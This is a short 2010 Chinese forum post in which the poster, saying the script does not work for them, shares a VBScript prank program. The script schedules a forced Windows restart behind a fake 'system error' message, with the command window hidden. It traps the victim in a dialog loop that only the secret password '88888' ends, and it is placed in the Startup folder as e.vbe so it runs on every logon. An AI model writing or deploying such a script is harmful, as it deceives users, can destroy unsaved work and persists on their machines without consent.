|
楼主 |
发表于 2010-6-5 13:59:33
|
显示全部楼层
来自 中国–广西–百色
奇怪....我的不行..........?
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""错误信息提示: 系统错误,计算机即将关
闭"" ",0 ,true
dim a
do while(a <> "88888")
a = inputbox ("你可以输入命令直接关机 ""EXIT"" ","系统错误","关闭计算机",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "密码正确"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "自动关机以解除"
C:\Documents and Settings\lenovo\「开始」菜单\程序\启动\e.vbe |
|